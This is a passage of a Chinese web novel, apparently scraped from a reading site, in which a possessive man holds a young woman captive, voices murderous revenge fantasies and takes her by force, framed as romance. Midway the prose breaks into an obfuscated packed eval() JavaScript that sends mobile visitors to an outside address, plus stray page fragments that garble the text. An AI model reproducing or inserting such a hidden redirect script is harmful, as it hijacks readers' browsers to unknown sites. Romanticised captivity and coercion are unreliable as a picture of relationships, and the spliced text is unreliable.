他到底想干什么?
“我以前经常来这里,知道为什么吗?”
男人终于有了动静,声音微暗,让她剧烈的心跳稍稍缓和一些。
赵惊婉摇头,没发出声音。
“从这儿往下看,这里的一切都能踩在脚下。”
洛津生平第一次产生特别强烈的征服欲,就是踏上这座瞭望塔的那一刻。
母亲去世那天,他第一次爬上这座塔。
庄园最高的建筑,站在这里,所有的一切尽收眼底。
那一晚,他在这里站了一整夜,
一整夜,起伏的情绪才被他压下。
戴维森想让他接手家族的产业。
可他要的何止一个阿图尔?
他要戴维森名下所有的家业,都牢牢握在他的手里,
他要阿图尔家族每一个人,都跪在他的脚下臣服。
他要阿图尔在他手里走向覆灭,
他要割下戴维森的头,悬挂在这座瞭望塔的顶端,
让他死后看着自己的家业,是怎么一点点被他摧毁的。
他要让阿图尔成为坟场里的一把灰烬,风吹而散,雨落成泥,任人践踏。
戴维森只想让他做一个表面的代理人怎么能行呢?
他要的,可不止眼前看到的这些。
男人眼里的杀意第一次赤裸的展露,迸发的汹涌,险些淹没面前的少女。
赵惊婉呼吸微滞,被他滔天巨浪般的情绪吓到失神。
“知不知道我现在在想什么?”
她不知道,也不想知道。
洛津瞧她闪躲的眼神,就知道小东西又怂了。
他低头凑近她的耳边。
“赵惊婉,我现在真的很想...很想”
“**你。”
少女揪住他衣衫的手一紧,指尖都泛白,想逃脚下却挪不动半分。
“乖,别怕,别躲,你又躲不开。”
他语气近乎低哄,赵惊婉却更加害怕。
“我还没说完。”
洛津撩起她脸侧的长发,咬住她的耳朵,灼热的气息喷洒在她细嫩的皮肤上,阵阵颤栗。
“知道吗?每次你在我身下哭,我不仅泛不起半点怜悯,还更想弄死你。”
“每求饶一句,都让我忍不住拉你一起下地狱。”
“看你哭得可怜,怕得颤抖,想逃又逃不开,明明惧怕我,却只能紧紧攀着我。不得不依赖我。你的痛苦,欢愉,求饶,都只能给我,是不是很刺激?我就喜欢你怕我又离不开我。”
“你说要自由,我怎么舍得啊?现在知道我为什么囚你在身边了吗?”
“你变态...”
听她颤颤巍巍地骂人,男人低笑。
“**说的真对。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15267088|166602||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
是啊,他本来就不是正常人。
洛津亲了一下她的唇角,眼中惊涛骇浪隐去大半。
“所以,除非我死。”
他很清楚,对小东西的欲望,不全然是性带来的。
就像他变态的思想,对她的所有念头,全都来源于此,根深在肉体和灵魂的渴望,怎么能消除?
除非他**。
少女眼角泛起的泪啪嗒掉落,砸进洛津的心脏,
他再也克制不住滚滚欲望,捧起她的脑袋,狠狠吻了上去。
火焰骤然,从最顶端腾空,烧遍整座瞭望塔。
黑夜给人欲增添幽暗的神秘,爱啊,恨啊,都抵不过最原始的欲。
它能将人燃烧殆尽,直至粉身碎骨,死无全尸。
“赵惊婉,我要你,你的一切。生和死,肉体到灵魂,全都臣服于我。”
欲望攀上顶峰时,男人压抑呼啸而过的冲动,在她耳边低语。
黑暗中,少女无力地闭上双眼。
有的人,终身被罪恶囚禁,不甘臣服于此,任由烈火焚烧,也不愿交出全部。
直到地狱开出一朵纯白的花,他摘下死都不肯放手。
有一天有人告诉他,那就是光啊。
于是堕落天使,松开紧握的手,任由神明带走他唯一的救赎。
至此,地狱空空,再无神的信徒。